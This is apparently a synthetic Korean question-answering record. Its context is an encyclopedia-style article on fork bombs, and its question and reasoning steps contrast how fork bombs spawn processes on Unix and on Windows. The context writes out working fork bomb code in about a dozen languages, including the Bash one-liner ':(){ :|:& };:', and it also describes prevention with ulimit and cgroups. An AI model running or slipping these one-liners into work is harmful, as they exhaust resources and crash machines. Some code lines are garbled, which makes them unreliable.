가공데이터 · 한국어 지식관계

포크 폭탄 document_id A220623164533

분류
지역_사회
라벨 상태 (label_status)
approved
문맥 (context)
[[컴퓨팅]]에서 ''포크 폭탄'', ''포크 밤''({{lang|en|fork bomb}}), ''토끼 바이러스''({{lang|en|rabbit virus}}), ''웨빗''({{lang|en|wabbit}}) == 구현체 == 포크 폭탄은 [[포크 (시스템 호출)|포크]](fork) 프로세스 중 CPU 시간을 소비함으로써, 또 [[운영 체제]]의 프로세스 테이블을 포화 상태로 만듦으로써 동작한다. 기본적인 포크 폭탄의 구현체는 자신의 새로운 복사본을 반복적으로 실행하는 [[무한 루프]]이다. [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다. 포크 폭탄은 일반적으로 이러한 시스템 메모리를 포화시키지 않는다. [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다. == 포크 폭탄의 예 == === 루비 === fork while true === 펄 === [[펄]] 인터프리터를 이용한 인라인 셸 예시: perl -e "fork while fork" & === 파이썬 === import os while True: os.fork() === C === int main() while (1) fork(); return 0; === 자바 === public class ForkBomb public static void main(String[] args) while (true) Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"}); === Lua === -- Requires `luaposix' module local unistd = require "posix.unistd" while true do unistd.fork() end === 어셈블리 ([[IA-32]]에서 실행되는 리눅스) === section .text global _start _start: mov eax,2 ;System call for forking int 0x80 ;Call kernel jmp _start === 셸 스크립트 === 다음은 셸 스크립트에서 2개의 $0 인스턴스를 실행하는 것이다. 여기서 $0는 스크립트 이름 자체를 반환하는 [[환경 변수]]이며 다른 인스턴스를 통해 출력물을 파이프 처리함으로써 기하급수적으로 프로세스를 복제시키는 결과를 낳는다. ./$0|./$0& 더 단순한 방식은 간단히 ./$0&를 두 번 실행하는 것이다: ./$0& ./$0& === Bash === [[Bash]]에서 포크 폭탄은 [[재귀 (컴퓨터 과학)|다중 재귀 함수]]를 선언하고 호출함으로써 수행할 수 있다: bomb(){ bomb | bomb & bomb 추가적으로 가장 유명하고 흔히 인용되는 포크 폭탄의 예시들 가운데 하나는 다음과 같이 간결한 1줄 Bash 명령어이다: :(){ :|:& };: 이 명령어는 상기 명령의 난독화된 버전이다. 여기서의 트릭은 :를 함수명으로 사용한다는 점인데, 이것이 가능한 이유는 콜론이 다른 대부분의 언어에서처럼 Bash의 예약된 문자가 아니기 때문이다. 그 외의 경우는 동일하다. [[유니코드]] 지원의 경우 다음과 같이 유사하게 렌더링이 가능하다: ?(){ ?|?& };? === 윈도우 [[배치 파일|배치]] === :ForkBomb start goto ForkBomb 상기와 동일하지만 더 짧게는 다음과 같이 쓸 수 있다: 상기와 동일하지만 이스케이프 특수문자에 ^를 사용하여 명령 줄에서 수행이 가능하다: echo %0^|%0 >forkbomb.bat & forkbomb.bat "실행..." 프롬프트에서 직접 실행할 수 있도록 설계된 간결한 버전은 다음과 같다: cmd /k echo -^|->-.bat&- === 파워셸 === while ($true) { Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"; Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}'; === 자바스크립트 === (f => f(f))(async f => f(f) && f(f)); == 예방 == 포크 폭탄의 운용 방식이 온전히 새로운 프로세스를 만드는 방식이기 때문에 포크 폭탄이 시스템 전반에 심각한 영향을 주지 못하도록 만드는 한 방법으로는 단일 사용자가 소유할 수 있는 프로세스의 최대 수를 제한시키는 것이다. 리눅스에서는 ulimit 유틸리티를 사용하여 이를 수행할 수 있다. 이를테면 ulimit -u 30 명령을 실행하면 이에 영향을 받는 사용자가 30개의 프로세스를 최대로 소유할 수 있게 된다. [[장착형 인증 모듈|PAM]]을 사용하는 시스템에서 이 제한은 /etc/security/limits.conf,에서도 설정할 수 있으며 FreeBSD의 경우 시스템 관리자가 /etc/login.conf에 제한을 추가할 수 있다. 또, 현대의 리눅스 시스템들은 [[cgroups]]와 PID 컨트롤러를 통해 세부적인 포크 폭탄 예방이 가능하다. == 각주 ==
지시문 (instruction)
주어진 원문을 읽고 필요한 정보를 파악하여, 원문에 근거해 질문에 답하라.
질문 (question)
운영 체제의 종류에 따라 포크 폭탄이 프로세스를 생성하는 방식은 어떻게 분류되는가?
추론 과정 (compact_reasoning)
  1. 1과제 해석task_interpretation

    운영 체제별로 포크 폭탄이 프로세스를 생성하는 방식의 차이점을 분류하여 설명해야 한다.

  2. 2정보 추출information_extraction

    유닉스 계열과 마이크로소프트 윈도우 운영 체제의 동작 방식 차이를 추출한다.

    • [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
    • [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
  3. 3근거 선택evidence_selection

    유닉스는 fork 시스템 호출을 사용하고, 윈도우는 새 프로세스를 만든다는 핵심 근거를 선별한다.

    • [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
    • [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
  4. 4논리 통합logical_integration

    두 운영 체제의 프로세스 생성 메커니즘의 차이를 대조하여 통합한다.

  5. 5결론 도출conclusion_formulation

    유닉스 계열은 fork 시스템 호출을 이용하며, 윈도우는 기존 프로세스에서 포크하는 대신 새 프로세스를 생성하는 방식으로 분류된다.

    • [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
    • [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
  6. 6답변 생성answer_generation

    질문에 대해 운영 체제별 생성 방식을 명확히 구분하여 답변을 작성한다.

    • [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
    • [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
최종 답변 (final_answer)
유닉스 계열 운영 체제에서의 포크 폭탄은 일반적으로 fork 시스템 호출을 사용하여 동작하지만, 마이크로소프트 윈도우 운영 체제는 유닉스와 동일한 fork 시스템 호출 기능을 갖추고 있지 않기 때문에 기존의 것에서 포크하지 않고 새 프로세스를 만드는 방식으로 동작한다.
핵심 해석 (core_interpretation)
유닉스 계열 운영 체제에서의 포크 폭탄은 일반적으로 fork 시스템 호출을 사용하여 동작하지만, 마이크로소프트 윈도우 운영 체제는 유닉스와 동일한 fork 시스템 호출 기능을 갖추고 있지 않기 때문에 기존의 것에서 포크하지 않고 새 프로세스를 만드는 방식으로 동작한다.